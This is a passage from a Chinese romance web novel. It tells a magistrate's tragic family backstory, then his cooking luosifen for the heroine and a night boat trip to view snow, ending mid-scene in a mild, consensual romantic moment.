母亲被迫承受,心遭创伤,渐有了疯癫之症。
十月怀胎,一朝呱呱落地,他母亲疯了,他由乳娘照料,不见父亲。
那时候,乔国公远在北漠,濮阳城里毫无根基,姜雁也在边关,照顾不了府中事,尚书府的大权就此旁落在小妾手中。
她心有怨恨,认为是他母亲抢了她的尚书夫人之位,自然不会待他多好,待他母亲多好。
他父亲一心只有心爱之人,也不将他们放在眼里,甚至万分嫌弃。
枉他一个尚书嫡子,在府中过得连奴仆都不如。
可那时候,姜泊清仍感快乐,母亲疯癫时不会打骂他,她的记忆似乎停在了幼时之前,常常提起闺阁往事。
她也有清醒的时候。这时候往往会给予他一片慈爱,甚至爱怜的抚摸他的头,抱于膝上教他读书习字。
他的心不大,满足这样的日子。
直到,他六岁时,小妾怀子,母亲在冬日坠湖,凄惨死去。
那一日也下了这样大的雪,寒风呼啸,一夜之间,天地失色,入眼苍茫,一片死寂。
冷、无止境的冷袭来,明明穿着袄子,还是令人发抖。
尚书夫人死了的消息在濮阳传开。
人人都说她是疯癫之症犯了,自己跌入了湖中,才被淹死。
但姜泊清不信,他知道一定是她,绝对是她。
只要他母亲一日占着夫人之位,她就只能为妾,她的孩子也只能是庶子。
她岂会甘心,又怎能甘心!
消息疯走,自然也传到了姜雁与乔国公耳中。
两人夜以继日赶回濮阳。
府门外,姜泊清第一次见到了爷爷和外祖,六岁孩童顿时红了眼眶,扑向他们,泣不成声。
姜雁回来,府中权柄自然由他掌握,有人撑腰,带姜泊清的乳娘也敢将这些年他们所受过的委屈一一道明。
久经沙场的姜老将军听完后,抱着姜泊清的手都在抖,大骂姜尚坤不是东西。
虎毒尚且不食子,而他却将一个六岁孩童带得如干瘪的豆芽一般,也不知这心是如何长的!
姜尚坤企图辩解,但姜雁怒不可竭,直接平家法伺候,更要送那小妾去庵子里了却余生。
姜尚坤说什么也不肯,姜雁将他打个半死,即便如此,他还将那女子护在身后,谁也动不了。
乔国公亦不信女儿是自己跌入湖中惨死,于是上奏天子,讨取公道。
无奈,姜尚坤从中作梗,证据不足,判不了小妾之罪。
堂堂一个国公爷,一夜之间,头发苍白,为那荒唐的条例,令他悔恨终身,不久去逝。
姜雁清白一身,却得这样一个混账儿子,失望之极,最终与他断绝父子关系,带姜泊清出府,住入桃花村。
姜泊清在他的照料下逐渐成人,去边关,入朝堂成了面冷的郎君。
那日天子问他:“想在哪里就职?”
姜泊清想也不想答道:“大理寺!”
母亲的仇,无论如何,他也要报。
他握紧了拳头,眼眶殷红,充满无尽的恨。
沈秋吟紧紧地抱着他,轻声安慰。
他沉溺在她的温暖怀抱中松开了紧握的拳。
漫天风雪铺成一块银白,他眸中的悲戚更盛,一声声叫着:“阿吟,阿吟……”
他唤一声,她应一声。
有什么东西落在了她的肩上,浸湿了衣裳。
他声音微咽,开口问道:“阿吟,你知道为何现在的男女情爱自由么?”
“为何?”
这也是她心中的疑惑。
初来这个世界,她见一姑娘头天与一娇弱的公子上街,行为大胆,第二天,又见她与一魁梧男子游湖,举止亲密,而旁人却未露出羞耻的神情,甚至未加指责,似是司空见惯,又是本就如此。
这不是封建王朝吗?民风再开放,岂会如现代的社会一样?
她大为震撼,匪夷所思。
而今日,困惑已久的问题有了答案,他说——
“同样因为我母亲之死。”
47. 一人之死
一场无爱的婚事,可笑的水中救人便是玷污,让花一般的姑娘枯萎。
道德的框框架架,吃人的条条例例也因为这场死亡被人打破。
去他的男女授受不亲。
去他的相挨便是肌肤之亲。
女子的性命也是性命,凭什么要因为简单的触碰,便要将两个毫无感情的人凑在一起。
她们也有自由的权力。
她们也有爱人的权力。
她们不甘心如此。
这一场由他母亲之死引发的打破旧例在濮阳闹得沸沸扬扬。
姜雁率领交好的官僚在朝廷一致清愿让女子不要再受世俗的约束。
大理寺卿亦带头陈情,莫让国公之女的故事重演。
男子诞生于女子腹中,为何女子要遭不成文的规矩约束,而男子却丝毫无拘。
我们都将有姑娘,若同样的意外发生在我们身上,可愿叫姑娘亦得这般下场。
就因为一场意外所带来的肌肤之亲,便叫女子不得不与连面都未见过之人成亲,何其不公!
有人陈情自然就有人反抗,腐朽大儒搬出“礼”字肆意疯咬,以“礼”规束,千百年来都是如此,就因为一人之死,要废此“礼”,不可能,绝不可能!
甚至,更有士大夫血溅金銮柱,拼死维护所谓的“礼”!
双方僵持不下,民间女子的反抗越演越烈,后宫受其感染,以皇后为首,嫔妃入朝堂,诉说女子一生要经历的苦难。
多方压力下,天子下旨,女子有自由择夫的权力,情爱也并非有伤风化,肌肤之亲,不能断送女子的路,女子也能活出自己。
旨意下来的那刻,贞洁牌坊被推到,女子终于不在受困于世俗下。
可他母亲没有迎来好时候,她再也回不来了。
风雪的停止,就在刹那,天际被光划出了窟窿,落在雪之上,照亮人间。
沈秋吟轻轻拍着他的背,此刻与他共情。
一人死,而万物生。
于天下女子是难得,于一人是无尽苦难。
“姜泊清……”
她心疼眼前的郎君。
姜泊清没说话,看着窗外的光,过了良久问道:“阿吟,她们会记得母亲吗?”
“会的。”
她们肯定都会记得的。
他笑了一下,“那就好。”
暖黄天光难得有热意,驱散了冬日寒凉,沈秋吟被他紧紧抱住,热得难受。
她动了动身子,热意稍减,扯了扯他的袖子,问道:“所以……可以放开了吗?”
姜泊清假笑一下:“不可以!”
她身娇体弱,抱在怀中,跟抱了一团火似的,热乎乎的,冬日里最为舒服。这叫他如何舍得放开她。
“可是……出太阳了,热。”
她感觉自己内里都出了一层薄薄的汗。
他看了看那高悬于天际的圆日,阳光大盛,的确有暖意,见姑娘热得手都湿了,好心肠了一回,松开了她。
随着红日西斜,阳光跳进了窗牖,照得人暖洋洋的,沈秋吟渐渐生了睡意。
姜泊清挨着她,见身旁人久没反应,他撑起身子一瞧,才发现她已身在了睡梦中。
姑娘闭着双眸,嘴唇微微张着,轻轻地吸气。
他忽然生了坏心思,捂住了她的嘴,她憋得难受,打开他的手,未见醒转,想来梦里有什么东西勾住了她。
他轻笑一声,玉笛般的手游走在她的脸上。
她在睡梦中生了痒意,伸手握住他的手,呢喃道:“姜泊清,别闹了……”
姑娘的声音酥软,叫人心生怜惜,姜泊清收了手,哄着:“好,不闹了。”
她又睡了过去。
他看着她的容颜,也生了睡意,终是抵抗不了周公的诱惑,随她一起进入了梦香。
再醒来时快到傍晚,天只剩一丝光,泛着灰,也带着点点蓝。
姜泊清一向多梦,梦里光怪陆离,总扰得他难以深睡,醒来后也浑浑噩噩,不舒服得很。
可枕在她身边,却得了一场安稳觉,不仅没做梦,还难得的睡了好久。
他笑了笑,伸手点了点她的脸颊。
她忽然呓语一句:“饿了。”
他起身,理了理起褶皱的衣裳,柔声道:“想吃什么?”
她还未完全清醒,半眯着眼,意识朦胧说着:“辣的,臭的。”
辣的,臭的?
世上还有这样的菜?
姜泊清皱了皱眉头,有些为难。思索事见了桌上放着的绣花线,灵光乍现,想到了,忙对她说:“等我!”
他拉起滑落的被子替她盖上,出了屋子,她迷迷糊糊见着他的身影,可困意袭来,又睡了过去。
直到一阵敲门声响起,章丘急切道:“掌柜的,快起来管管姜大人吧!他要熏了厨房了。”
说着,他曰了一声,赶忙将自己的鼻子堵住,这才好受了一些。
沈秋吟听了这声音,一下子惊醒过来,赶忙下榻,打开了门。
一阵如粪便的臭味一下子扑面而来,沈秋吟却深深吸了吸。
“好香!”
这味道令人兴奋。
章丘不可置信看着她:“哪里香了!”
掌柜的莫不是鼻子有问题,这分明是臭味,如同茅厕炸开的味道,怎闻出了香?
不待沈秋吟回答,章丘又憋不住了,扶着墙,弯着腰打曰。
臭!
真臭!
臭得人要升天了!
世间怎得这般臭的东西。
闻是闻了,见所未见!
沈秋吟走过去拍了拍他的背,章丘撑着最后一口气道:“快去管管他吧,楼里的食客都被熏走了。”
属实太臭了,臭得人受不了!
“他?”
“姜大人呢!”
沈秋吟来到厨房,就听院子里曰声一片,即使他们将脸捂得只剩下两只眼,但那气味还是往鼻息里钻,叫人难受得紧。
从未闻过这样臭的味道,人都要被熏死了。
受不了了。
实在受不了了。
众人一见沈秋吟,憋着气道:“掌柜的,我不行了,我要下班……”
这班现在是一上一个不吱声,在待下去,小命都给臭没了。
沈秋吟见他们小脸苍白,赶忙道:“行行行,下,都下。”
这味道,真不是一般人能忍得住的。
小二们得了这话,头也不回出了厨房。
沈秋吟走了进去,见姜泊清系着襜衣,正拿着铲子,搅拌着锅里的汤汁。
汤汁奶白,但表层浮现点点红油,像是在贫瘠土壤里生出的绿意。
初初闻着那味儿,沈秋吟还不敢断定是什么东西。
可见着了这汤,一下子就知晓了。
这是苍梧特有的吃食,以臭辣著称。濮阳没有这个,人们闻不惯这味儿,以为是粪便发酵,退避三舍。
而实际上,这东西只是闻着臭,吃着却极香,让人念念不忘。
俗名“螺蛳粉”。
“你怎会做这个?”沈秋吟奇道。
他祖籍嶂溪,又常待濮阳,理说应是不会的。
姜泊清看了她一眼道:“曾经路过苍梧,偶然吃过一次。当时觉着稀奇,这东西臭得让人呼吸都困难,怎得吃着极香,于是便与当地人学了学。”
他将其中故事道来,笑着问她,“这可满足你的要求?臭的,辣的?”
“什么?”沈秋吟呆了呆,似是记不得自己曾说过这样的话。<
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p>姜泊清帮她回忆道:“半梦半醒间说饿了,问你吃什么,就说了四字,辣的,臭的。”
经他这样一说,她有了印象。不过她所说辣的、臭的却并非螺蛳粉,而是臭豆腐。
那时在梦中,意外身在了湘地,见长街之上,摆满了小摊子,却独不见名小吃臭豆腐,她顿觉失落,便迷迷糊糊道出了那四字。
不过,虽不是臭豆腐,螺蛳粉也是满意的。
毕竟都是臭的,辣的。
她讪讪地一笑,他又弄着手上的活儿。
那一锅汤已经咕噜咕噜冒泡,沈秋吟走到灶边熄了些许柴火。
姜泊清将泡开的米粉放进清水锅里,叫沈秋吟烧小火慢慢地煮。
她拾了一把小柴放进另一个灶里,控制着火候。
清水锅很快也冒起了泡,咕噜声接连不断,像在凑一曲乐章。
姜泊清揭开锅盖,将米粉挑进碗里,舀了一大瓢汤汁林上。
白花花的米粉裹上了汤汁,红油为它们做了一层粉饰。
接着,姜泊清开始加料。
首先是一大勺油炸过的花生,脆脆的,会在人舌面上跳舞。
接着是腐竹,这是人们煮豆腐时外表的那层皮形成的,过了油之后,和花生一样是脆的,不过浸了汤汁后会变软。
再次是木耳和豇豆,这两样东西伴着米粉吃,解腻。
最后,便是螺蛳粉的灵魂——酸笋。
螺蛳粉之所以臭,并非粉臭、汤臭,而是这经过发酵的酸笋臭。这味道,若是初次闻的人,定然受不了离得远远的,但只要吃上了一回,就会知晓究竟有多可口,简直让人欲罢不能。
当然,姜泊清不光加了这些,还加了螺蛳。
弄好这些后,他找来托盘将碗放上头,对沈秋吟道:“好了,走吧!”
她熄了灶里的火,随他去。
他们到了大堂,楼里无人,小二们走的时候还贴心地将门合上了,避免了街上的人遭殃,不失一桩功德。
他们坐在一处靠窗的位置,一抬眼就能见着整个长安街。
只是这会日薄西山,气息奄奄,街上早看不到什么人了,独有几家酒肆檐下的旌旗随着风摆动。
沈秋吟端着碗深深吸了一口气,拿稳筷子,大口大口吃起来。
她动作虽快,却并不粗俗,相反流露出一丝可爱。
那腮帮子鼓鼓的,像姜泊清曾经看过的松鼠。
“好吃吗?”他问道。
他第一回做这个,没什么经验,全凭记忆来。
她有一手好厨艺,对味道更是精益求精,姜泊清怕不好吃,心生忐忑。
沈秋吟停了一下,囫囵道:“好吃。”
这可不是哄他,当真好吃。
辣味与臭味的奇妙配合,激发着人最深的食欲,一口接一口,停都停不下来。
最后,沈秋吟吃得连一口汤也不剩,满足的呼了一口气,靠在椅子上,神情餍足。
瞧她这模样,姜泊清忍不住捏了捏她的脸。
她也不恼,傻乎乎对他笑。
天已全黑了,只有微弱的火光照亮一小块地方,那是对面布行屋下的灯笼散发出来的光。
姜泊清拿出火折子点燃一盏油灯,橙红的灯光掩映着她的容颜,她像被覆上了一层薄薄的纱,朦胧了起来。
沈秋吟撑着头望着长街,雪又飘了起来,洋洋洒洒,覆盖所有。
她伸出了手,片片雪花落在她的手心,有微微冰凉,她叹息道:“可惜了,今日未见湖心亭之雪。”
“想去嘛?”姜泊清问。
她回头笑道:“想呀!不过这就得看姜大人愿不愿意陪我夜游湖心亭了。”
他瞧着她极美的侧颜,说了四个字——
“乐意之至。”
48. 恭喜郎君,得偿所愿
夜里寒凉,姜泊清回屋拿了一件披风为她系上,这才带她出了百膳楼。
长街空旷,他一手提灯笼,一手牵她的手,踩在雪地里,有丝丝响声。
打更的声音从另一条街传了过来,隐隐听他念着:“天干物燥,小心火烛。”
沈秋吟忽地扑哧一笑。
姜泊清温柔地看着她,问:“笑什么?”
“天干物燥,小心火烛。”
“嗯?”他不解,微微蹙眉,“这有何可笑?”
不就是一句叮嘱之词么,让人们在夜里小心打翻了火烛,烧了屋子,丢了性命。
她将自己发笑的点说出:“这般的大的雪,如何天干,如何物燥,如何烧得起来?”
他摩挲着她略凉的手,解释道:“即使雪天,大火亦无情,一旦烛火点燃周遭,再大的雪也灭不了。打更的如此念,自然是要百姓小心为重。”
他说的有道理,沈秋吟点了点头,“怪我浅薄了。”
她眼光短,只看到了表象,没看到内里。
雪天路难行,走了半刻了还未出长安街。
路边的小铺都关上了门,皆留两个灯笼挂在屋下,为未带亮的行人送去一丝光,不至于在黑暗里迷路。
踩在松松软软的雪上,一步一个脚印,他们的影子也被光拉长,重合在了一起。
沈秋吟发现了乐趣,不好好走路,偏爱踩在他的脚印上,亦步亦趋。
姜泊清宠溺地笑了笑,捏了捏她的鼻子,说道:“你呀你!”
她也笑了,“我呀我!我怎么了呢?”
“你呀你!是个娇蛮的小姑娘。”
她走到快累了时,终于见到了城南桥头的影子。
想着一路艰辛,她不禁念道:“是日更定矣,余弩一小舟,拥毳衣炉火,前往湖心亭看雪。”
“如今真是痴相公了!”
不在屋里取暖,偏要去看雪,踩在未压实的雪上,浮着走路,一步一艰难,也算为雪勇敢了一次,可不就是痴相公吗?
姜泊清却觉得“痴相公”这词不对,他打趣道:“应该是傻姑娘才对。”
傻姑娘不愿待在楼里,偏说湖心亭未能如愿,那便只能历经千辛万苦,去那湖心亭了。
“你才傻呢!”沈秋吟踢了他一脚。
似是不解气,她又打了他一下。
姜泊清哎哟一声,倒在她的身上,在她耳畔道:“好秋吟,踢疼了,要抱抱才好得了。”
沈秋吟不理他,要推开他。
姜泊清连忙紧紧抱住她,脸还在她脖颈处蹭了蹭,像一只黏人的小狗。
沈秋吟无奈叹气,从前那个端庄稳重的郎君真真是越发脸皮厚了。
而姜泊清却不以为意,甚至引以为傲,厚颜无耻道:“阿吟,脸皮厚,才能吃到肉哦!”
吃到肉?
什么吃到肉?
沈秋吟迷茫地看着他,没听明白。
他见姑娘呆傻的模样,眼里有一抹戏谑的笑意,嘴角也高高翘起,意味深长。
她仔细品味这句话,忽然明白他说的什么,脸蓦地红透,像煮熟的虾。
这人,这人说话越来越没有把门了。
真真是羞死人了。
她不禁恼羞成怒,提了几分音量叫道:“姜泊清!”
他道:“我在!”
瞧他吊儿郎当的样子,沈秋吟忽地语塞,不知该如何说她,最终化作一句——
“唉!你呀你!”
她又羞又涩的样子引得他玩心大起,又是一阵逗弄,令沈秋吟忍不住打他的同时,又笑得开怀。
这个男人呀!
有毒!
城南桥头不结冰的湖终于在两人逗趣中到了。
夜晚的湖泊在火光的照耀下波光粼粼的,像一条会发光的带子,又像夏日天上的银河,煞是好看。
湖堤边满是枯了的垂柳,树枝上积攒着未化的雪。
远远看去,恰如诗中所写“忽如一夜春风来,千树万树梨花开”。
湖面上还有船在。
船不算大,但中间做了一个四四方方的小屋,左右两面都开了窗,装了帘子,方便客人欣赏湖中的风光。
小屋外面还挂着两个红灯笼,灯笼之上,俱贴“福”字。
那船夫站在船头,即使夜晚,仍戴这斗笠,披着蓑衣。
他一见姜泊清,连忙拱手,很是熟稔。
“认识?”沈秋吟问道。
他答:“常来。”
“嗯?”
这里有一段伤心的往事,姜泊清不怎么愿提起,但怕这姑娘胡思乱想,又在脑中演绎惊天动地的事儿让他遭殃,默了默还是决定告诉她。
他的声音在空旷的夜中响起。
“生平第二次醉酒,好不容易胆大了一回,在深夜与某个先搞恶作剧的姑娘表明心迹,可那姑娘躲躲闪闪,不肯回应我,也不肯向我迈出一步。心中郁闷,便学了痴相公,夜夜来湖心亭看雪。”
那可真是难熬的几日。
得不到她的回应,不敢白日里去见她,便常等着深夜,去长安街,百膳楼前走上一圈,以解相思之情。
他想呀,看不到她人,就在她待的地方看上一看,也是好的。
可这相思本是无解的毒,到了楼前,更想见那让人日思夜想的姑娘。
不知她今日吃了什么,玩了什么,楼中忙否,发什么了什么趣事?
不知她是否在休憩时想起过他,觉着这个郎君还行,不如与他试试?
他想迈步向前,敲响那扇禁闭的门,又怕她见他害怕,心绪更乱。
她想退步回头,心又因相思阵阵抽疼,难受得紧。
如此反反复复,还是姑娘的害怕占了上风,郎君掉头回走,游到了城南桥头。
下雪的夜晚,城南桥头的生意最好,人人都想去湖心亭里赏一回雪,做一回雅士。
船夫立在船头吆喝生意,姜泊清对雪不感兴趣,本想离开,可才游没几步,又停了脚步。
就这般回去,又辗转难眠,满脑子都是那个搅乱他心房的姑娘,到不如在外头待着。
但叫他上船赏雪吧,又没那个心情。
愁呀!愁呀!
当真是三十三天觑了,离恨天最高;四百四病害了,相思病怎熬?
他叹了一口气,终是下了桥坐上了一条船,不去湖心亭,就看看湖岸风光就行。
船夫听了,用一种奇怪的眼神看他,仿佛在说怪人。
世人对湖心亭趋之若鹜,独他看这荒芜的湖岸景。
怪人!当真怪人。
姜泊清却不甚在意,见船上有酒,兀自拿着喝了起来。
白酒入肚,暖和了身子,渐渐生出了热意。
窗外白雪纷纷,撒盐可拟;船内郎君借酒消愁,却是愁上加愁。
撑竿的船夫察觉不对,回头看了一眼,郎君喝得面都红了。
这人不像是来赏景的,到像是来排解心中积郁的。
瞧他仪表堂堂,衣服不俗,一看就是富贵子弟,不缺钱,不缺权,那还有什么可愁的?
莫不是因为爱?
船夫拿不准,试探问道:“郎君这是为情所困?”
姜泊清停下了倒酒,看着船夫,问:“很明显吗?”
船夫答:“本来不明显的,不过郎君这般说了,那自然是明显了。”
“唉——”姜泊清又长长地叹了一口气。
满腹心事,无人诉;想对明月道衷肠,明月亦不在。
难难难!
船夫见他愁眉苦脸,劝道:“郎君一表人才,喜爱你的女孩一抓一大把,何必吊死在一棵树上。”
权贵且该风流,哪能痴情著称。<
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姜泊清凝视着手中酒,摇摇头:“你不懂。”
这世上唯有一个沈秋吟,能叫姜泊清动心。
船夫的确不懂,毕竟,他未害过相思。
不害相思,便不懂相思之苦。
船夫解决不了他的事,又回头撑竿,划着水,慢慢前行。
两岸风光后退,夜中湖风,吹得灯笼摇摇晃晃,火光要颤抖了起来。
姜泊清独自喝了几杯,觉着无聊,索性让船夫将船停在浅水处,进来陪他喝酒。
船夫一听,还有这好事,连忙停船,坐下时又不放心问道:“钱照给么?”
“照给的。”
怕他担心自己耍赖,姜泊清从腰间取下袋子,将钱先付了。
船夫得了钱,放下心来,陪着他喝酒。
两个人喝酒,相当于有了个话搭子,姜泊清也将憋在心里的事,说给他听。
船夫听了,也叹了一口气,这事儿有些棘手。
他思考了一会儿,说道:“大人,咱就说没害过相思,我还真不知道怎么办?”
“没害过相思?”
“对呀!我与我娘子乃是青梅竹马,到年纪了,就在双方父母的见证下拜了天地,过上了没羞没臊的小日子。”
“所以,我没害过相思。因为我与她,从未分离过。”
说到后面,船夫还嘿嘿一笑,幸福之情,溢于言表。
姜泊清抒发心情不成,反被塞了一嘴的恩爱,心里更不痛快了,最后沉着脸,叫他停岸,自己回了。
不过到了第二日,姜泊清又来了,还是坐他的船,与他有一搭没一搭的聊,如此也算熟稔了起来。
“最后,我的心事是一个没解,他与他娘子的事儿,我是听了不少。又是羡慕,又是嫉妒。可惜呀,我钟意的那个小娘子,却是什么也不肯应我。”
面对姜泊清的揶揄,沈秋吟心头一紧,想起那些日子自己想得太多,折磨了眼前郎君,让他彻夜难眠,借酒浇愁,她顿感不好意思,低声说了句对不起。
“谁让你说对不起的。”他的声音有几分不快。
“我——”
做错了事,不应该道歉吗?
他低头看着她,眸光里倒映出她的面容,柔着声音说:“阿吟,永远别对我说对不起。喜欢你,我心甘情愿。能得你喜欢,是我之幸。你不应该为自己思量道歉,你的思量也没有任何错。”
沈秋吟呀!是那样好的姑娘,她就是天上最亮的星星,能将困在黑暗里的他带出来。
喜欢沈秋吟呀,是姜泊清的幸事,能得沈秋吟喜爱,那是耗尽了一生的运气。
姜泊清呀,从见这个姑娘第一眼起,就栽在了她身上。
沈秋吟眼眶有些红,里头蒙了一层薄薄的雾,唤道:“姜泊清……”
“嗯。”
她扑进他怀里,脸贴在他胸膛,说道:“世界怎有你这样痴情的儿郎?”
他拍了拍她的背,“这便叫痴情吗?可对你好,喜欢你,爱你,不过是应该所做之事。称不上痴情。”
沈秋吟听了这话,落下一滴泪来,她活了十几年,两个世界,第一次有人全心全意的爱她。
怎叫她不感动。
她小声啜泣,姜泊清耐心哄着:“莫哭了,今日的妆这般好看,哭花了就成狸花猫了。”
沈秋吟动了动,用他胸前的衣服抹泪,他继续哄着:“那船夫可叫我吃了好几日的恩爱,如今我带你来了,可也得叫他尝尝,快把眼泪擦干,我带你去见他。”
沈秋吟低声说了句好,伸出手将眼泪抹干。
她立起了身子,吸了吸鼻子,姜泊清笑了笑,牵起她的手下桥,去到船夫面前。
船夫一见郎君握着女娘的手,便知这公子抱得了美人归。
他拱起手,笑着对讲泊清道:“恭喜郎君,得偿所愿。”
49. 梅子熟透
沈秋吟与姜泊清上了船,面对面坐着。
今夜有佳人在恻,终于不是两个大男人干瞪着眼,只能说些不着调的话了。
姜泊清开心了,外头的船夫也开心了。
天晓得,这些天该说的都说完了,再说下去,就差把与娘子的闺房之事抖出来了。
这郎君明明听得痛心疾首,偏又不让他停,找虐似的,非要他讲。
怪人!真是个怪人!
有钱人的心思真难搞呀!
唉……
船夫撑竿很稳,小船缓缓地走,没有一点波动,极其平稳。
沈秋吟掀开帘子看远处的湖岸。
随着船的移动,湖岸倒退,连绵起伏,像一条弯弯绕绕的线。
湖岸上还可见三三两两的行人,再仔细一看,还可以看见他们手中所持之物的轮廓。
她在心里默默猜测他们是怎样的人?
天色幽黑,深冬寒冷。
愿在夜里来湖畔吹风的,定然是文人大夫,百姓为了生计,哪里会有这种闲情雅致。
当然,还有可能是如她和姜泊清这般的男女。
不过,她更偏向前者。
“在看什么?”
他也凑了过来,挨她很近,男人身上的松香钻进她的鼻息间。
很好闻的味道,舒缓了人的心情,驱散了疲劳。
她吸了吸鼻子,答道:“看人。”
“嗯——”他顿了一下,颇为厚颜无耻道,“岸上人岂有我好看,不若多看看我。”
唉!这人!
真是越来越自恋了。
她收了目光,放下帘子,看着船中人。
船中人生了一张叫人一眼沦陷的脸。
微暗的室里,桌上的烛火光映照他的脸,郎君的眉骨、郎君的眼,皆是人间少有的美。
若这世间有美男子排行榜,姜泊清必占第一流。
的确值得一看。
瞧着姑娘痴呆的眼神,他向她倾了半分,单手撑着下颚,眉眼皆是诱惑,“小娘子,觉得满意否?”
清冽的声音在寂静的夜里格外清晰,沈秋吟好似被电了一下,慌忙低下头,不敢看他。
心跳声“咚咚咚”作响,扰得她面红耳赤。
这一刻,理解纣王,成为纣王。
啊!哪来的勾人男狐狸呀!
勾得人心花怒放,神思不定。
郎君见她这般模样,低笑两声,又坐了回去。
没了他的压迫,姑娘坐直了身子,只是久久眼神飘忽不定,口干舌燥。
她提起小桌上的壶欲倒一杯水,姜泊清道:“这是酒。”
“啊?哦。”
是酒。
那还是不要了。
酒多误事。
她停住了动作,放了壶。
“这里有水。”
他拿出搁在不起眼位置的竹筒,揭下盖子倒了一杯给她。
她伸手接过,指腹不经意间挨了挨他的手,又是一阵电流流过四肢,令她猛地颤了颤。
男人笑了起来,凤眸微挑,黑瞳似荧石,深沉如幽渊,敛尽了繁星。
沈秋吟又低下了头,不敢直视他的眼眸。
平静的心湖被搅乱,惊起一圈又一圈的涟漪,不能平复。
热,热得上头,热得让人头晕脑胀,无法呼吸。
她伸手微微掀开窗边的帘子,冷风灌了进来,消了脸颊上的热度,也驱散了室内的热意。
姜泊清又向她倾身,一张俊美的脸占据了她所有视线,他低垂眸子,看着她微微张开的薄唇,勾了勾嘴角,问道:“很热吗?”
“啊?不热,不热,”她笑了笑,放下帘子,“透气,透气,哈哈哈。”
独属于男子的气息将她包裹,好不容易平静地心湖,又起了波澜。
他不相信,又问道:“真是这样吗?”
沈秋吟心虚,挪了挪身子,回他:“自然,自然。”
她躲躲闪闪的模样落在姜泊清眼中,十分有趣,笑意不经加深,却让沈秋吟眼睛都看直了。
回眸一笑百媚生,六宫粉黛无颜色。
从前读这诗时觉着夸张,如今见姜泊清一笑,才知晓并非夸张,而是写实。
世间真有如此美人,似白雪不染风尘,似青竹独占风骨。
沈秋吟的心躁动了起来,就连血液也加速了流淌。
她骂了自己一句登徒子,匆忙低下头小口小口地喝水。
边喝还边在心头默默念起了心经——
“色不异空,空不异色,色即是空,空即是色,受想行识,亦复如是。”
不知是水起作用,还是心经起作用,搁下手中杯子时,她的心情已经平复,乍然还瞥见窗外风光。
“酒”这一字冒上心头。
她突然想到什么,看向姜泊清问:“你方才说生平第二次醉酒,那第一次呢?第一次醉酒是什么时候?”
第一次醉酒?
他神情有些恍惚,原来自己长这么大,唯二的两次酒醉都是因为眼前的姑娘。
见他久未答话,她道:“不方便说吗?”
“不是,”他摇摇头看着她清澈眼眸,说道,“也是因为你。”
“我?”
沈秋吟指了指自己,似是不敢相信。
他“嗯”了一声,重复了一遍,“因为你。”
姜泊清不爱喝酒,从小到大喝酒的次数屈指可数,喝醉的次数更是少得可怜。
但人生两次醉酒,都与一个姑娘有关。
那一回得了她一句喜欢,他初时忐忑,后头满心欢喜。
为了回应姑娘的喜欢,他跑遍濮阳,甚至托了人脉关系,寻了好几块上等的桃木,要将它们雕刻成簪子送给姑娘。
簪成之时,他在脑海里幻想姑娘带上它们时的样子——
翩若惊鸿,婉若游龙。荣曜秋菊,华茂春松。
曹植的《洛神赋》一下子闯进了脑海。
对的,她就是那个令人仰慕的神女,而神女愿意青睐他这凡人,是他愿意用一生为之动容的事。
安排好一切后他在傍晚来到百膳楼,却于门前听了真相,心碎了一地。
神女终归是神女,高高在上,青睐只是一场捉弄。
他失魂落魄回去,将自己锁在屋里,喝得酩酊大醉。
这是第一次醉酒,不似旁人所说醉了便能忘记一切忧愁,相反她的模样更加清晰,清晰得他能看到她瞳孔的颜色。
他不喜欢醉酒的感觉。
可不醉了去,便止不住心里的疼。
她所谓的喜欢不过一句玩笑,一个搪塞他的理由。
而他却信以为真,以为自己得天眷顾,能拥佳人。
他跌坐在地,握着装簪子的盒子,那时候想,他再也不要喜欢沈秋吟。
她是个坏姑娘,不值得他喜欢。
“可是情字不由人,喜欢上一个人后,就再也无法忘记喜欢。”
所以,后来又是步步接近,步步靠近,终于皇天不负,佳人在怀,一生之幸。
风雪夜里,陆昭明与她说的话在这刻完成了闭环。
听他亲口说与听旁人说不一样。
她心疼得厉害,更为自己从前的不着调愧疚。
“姜泊清,这世上有那么多姑娘,为何独喜欢我?”
除却面冷,郎君有一颗柔软的心,只要他愿意,濮阳的姑娘都会喜欢他。
姜泊清看着他,目光
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坚定,想也不想便答:“因为你是我的情之所钟。”
世间确如她说有百媚千红,但她们都不是沈秋吟。
只有她,独一无二,让他的情有了归处。
她听了这话,心跳慢了半拍,连呼吸都忘了,傻愣愣地看着他。
渔夫撑竿划船,忽地唱起了歌。
“摽有梅,
其实七兮。
求我庶士,
迨其吉兮。”
平静地湖面就这样被船夫手中的竿划开了一圈又一圈波纹。
小船驶过之处,不见一片完整,像一块镜子突然到地,碎得四分五裂。
船夫的歌声回荡在湖面上,传得很远很远。
他唱的是《诗经》里头的诗。
姜泊清凝视她的双眸,接着唱:“摽有梅,其实三兮。求我庶士,迨其今兮。”
沈秋吟已经停止了思考,脑海里汹涌澎湃,浪叠千层。
他伸出了手,指腹柔柔地抚摸她的脸,所到之处,温温润润。
她睫翼颤了颤。
姜泊清薄唇轻启,“阿吟,梅子熟了,郎君可能摘否?”
外头风雪变大,大雪像不要钱似的下。
北风吹得船摇摇晃晃,沈秋吟还未来得及回答就跌进了姜泊清的怀里。
姜泊清接住她,目光幽深,噙着一抹笑,“看来是能摘了。”
沈秋吟抵住他的胸膛,口齿不清道:“不,不,不是,是风吹的。”
“哦——,是吗?”郎君拖长了声音,透露出几分意味不明。
风吹得窗牖上挂着的帘子在空中打转,光一暗一亮,照得她容颜忽暗忽明,如夜中魅。
他使了一把力,将她抱起,搁在腿上。
她吓一跳,忙圈住他的脖颈。
“你,你要干什么?”
他低笑一声,挑眉道:“自然是摘下熟透的梅子。”
他的手已然不安分,游走在她的身上,所到之处无端皆使她颤栗。
他似乎爱极了她的细腰,每每到这儿,都要多把玩上片刻,如嗜糖的孩童,永不知腻。
“别,别,别这样,外头有人。”她用极小的声音说,生怕外面会听见。
郎君停了动作,假装不满道:“可我什么都还未做,外头怎会听到?”
“自然是,就怕你……”
她话还未说完,郎君的唇已将她的嘴堵上。
她毫无防备,只能仍由他攻城略地,搅得她天翻地覆,不经身娇体软,死死缠住郎君的脖颈。
郎君不是好人,都这样了还不放过她,待着她领略前所未有的感觉。
姑娘的脸颊浮现桃红,一双媚眼仿佛被水沁润过一般,叫人想沉进去。
不知他做了什么,姑娘嘤咛了一声,媚得人骨头酥软。
沈秋吟听了自己的声音,慌忙捂住嘴,不愿再发出一点。
郎君拦住她的腰,往自己胸膛带,咬上了她的耳垂,用牙齿轻轻地厮磨。
男子的气息扑面而来,清淡的木质香萦绕鼻息。
